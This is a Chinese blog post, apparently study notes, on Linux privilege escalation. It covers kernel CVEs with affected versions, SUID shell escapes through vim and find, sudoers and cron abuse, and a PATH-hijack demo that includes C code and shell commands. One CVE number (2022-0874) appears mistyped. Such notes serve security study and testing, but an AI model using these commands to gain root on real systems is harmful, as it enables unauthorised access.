提权-Linux

linux

内核漏洞提权

  • 利用工具:linux-expolit-suggester
  • 脏牛提权:CVE-2016-5195
  • 影响范围
    • Centos7/RHEL7 3.10.0-327.36.3.el7
    • Cetnos6/RHEL6 2.6.32-642.6.2.el6
    • Ubuntu 16.10 4.8.0-26.28
    • Ubuntu 16.04 4.4.0-45.66
    • Ubuntu 14.04 3.13.0-100.147
    • Debian 8 3.16.36-1+deb8u2
    • Debian 7 3.2.82-1
  • CVE-2022-0874
  • 受影响的版本:
    5.8<=Linux kernel<5.16.11/5.15.25/5.10.102

CVE-2021-4034

  • pkexec
    影响版本
    2009年5月至2021年发布的所有 Polkit 版本大概是deb系1.0.105 0,115以下 centos部分是0.96 0.112以下

suid 提权

查找当前suid权限命令
find / -perm -u=s -type f 2>/dev/null
可用于suid提权的命令

  • Nmap
  • Vim
    • sudo vim -c '!sh'
1
2
:set shell=/bin/sh
:shell
  • find
    • find tiquan -exec whoami \;
  • Bash
  • More
  • Less
  • Nano
  • cp

sudo提权

  • /etc/sudoers文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证
  • 我们可以使用teehee命令将一个无密码用户admin写入到/etc/passwd文件,并加入到root组中

定时任务提权

  • 定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。
  • 一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。默认这些程序以root权限执行,如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。
  • 思路
    1. Cronjob中是否有可写的脚本或二进制文件?
    2. 我们可以覆盖cron文件本身吗?
    3. cron.d目录可写吗?
  • 一些命令
    • crontab -l 显示当前用户的cron
    • ls -la /etc/cron* 显示计划的作业概述

本地环境变量安全问题提权

  • 利用前提:
    demo.c
1
2
3
4
5
6
7
8
#include<unistd.h>
#include<stdlib.h>
int main(){
setuid(0);
setgid(0);
system("ps");
return 0;
}
  • 方法:配合 SUID 进行环境变量提权-本地用户环境 手写调用文件-编译-复制文件-增加环境变量-执行触发
1
2
3
4
5
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
id

提权-Linux
https://coutcin-xw.github.io/2022/04/24/提权-Linux/
作者
CoutCin
发布于
2022年4月24日
许可协议